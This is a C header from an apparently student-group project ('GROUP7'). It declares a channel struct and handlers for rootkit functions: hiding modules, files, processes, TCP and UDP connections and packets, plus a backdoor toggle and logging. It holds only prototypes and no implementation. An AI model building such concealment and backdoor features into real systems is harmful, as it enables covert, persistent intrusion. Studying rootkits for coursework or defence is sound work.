channel.h (632B)
1 #ifndef _GROUP7_CHANNEL_H 2 #define _GROUP7_CHANNEL_H 3 4 typedef struct { 5 const char *name; 6 int (*handler)(unsigned long); 7 } channel_t; 8 9 void report_channels(void); 10 channel_t detect_channel(unsigned); 11 12 // handlers 13 int handle_ping(unsigned long); 14 int handle_modhide(unsigned long); 15 int handle_filehide(unsigned long); 16 int handle_openhide(unsigned long); 17 int handle_pidhide(unsigned long); 18 int handle_tcphide(unsigned long); 19 int handle_udphide(unsigned long); 20 int handle_packhide(unsigned long); 21 int handle_backdoor(unsigned long); 22 int handle_togglebd(unsigned long); 23 int handle_logging(unsigned long); 24 25 #endif//_GROUP7_CHANNEL_H